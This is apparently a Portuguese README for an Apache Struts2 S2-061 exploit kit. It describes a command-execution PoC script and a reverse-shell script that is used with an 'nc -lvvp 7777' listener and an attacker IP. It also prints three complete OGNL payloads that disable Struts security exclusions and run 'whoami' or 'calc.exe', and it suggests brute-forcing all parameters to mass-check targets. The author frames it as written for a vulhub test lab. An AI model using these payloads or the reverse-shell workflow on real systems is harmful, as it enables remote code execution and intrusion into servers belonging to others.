
Payload do S2-061 e o respectivo PoC/Exp simples
S2-061
Os scripts foram todos escritos com base no ambiente de teste de vulnerabilidade struts2-059/061 do vulhub, não são universais. Espero que os mestres possam dar conselhos.
struts2-061-poc.py (pode executar comandos simples do sistema)
Uso: python struts2-061-poc.py http://ip:port comando
Exemplo: python struts2-061-poc.py http://192.168.0.7:8080 whoami
S2-061-shell.py (pode obter reverse shell)
Uso:
Primeiro, em uma máquina A, escute uma porta específica (ex: nc -lvvp 7777)
Execute o script: python2 S2-061-shell.py target_url, onde target_url é o endereço do ambiente vulnerável, no formato http://ip:port
Conforme solicitado pelo script, insira o IP da máquina A e a porta que está escutando, e você obterá um shell na janela de escuta da máquina A
Abaixo estão alguns payloads criados pelos mestres:
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("whoami")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
Artigo completo de análise: https://mp.weixin.qq.com/s?__biz=Mzg2NjQ2NzU3Ng==&mid=2247485921&idx=1&sn=096e61db21281c6392c6b7d8c70fe458
%{(#application.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#application.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + (#application.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +(#application.map2.setBean(#application.get('map').get('context')) == true).toString().substring(0,0) + (#application.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#application.map3.setBean(#application.get('map2').get('memberAccess')) == true).toString().substring(0,0) + (#application.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + (#application.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'}))}
%{(#request.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + (#request.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) + (#request.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'whoami'}))}
Nota: Por favor, codifique o código OGNL acima com URL antes de usar na ferramenta.
Nas novas versões do Struts2, não é mais possível analisar expressões OGNL através da construção de parâmetros. Portanto, se você quiser usar scripts para verificar em lote se existe essa vulnerabilidade, pode considerar brutar diretamente todos os parâmetros e então verificar se a página contém o texto de resultado esperado.
Exemplo:
%{ 'gcowsec-' + (2000 + 20).toString()}
O esperado é obter
gcowsec-2020
Use o script para verificar se o resultado contém isso.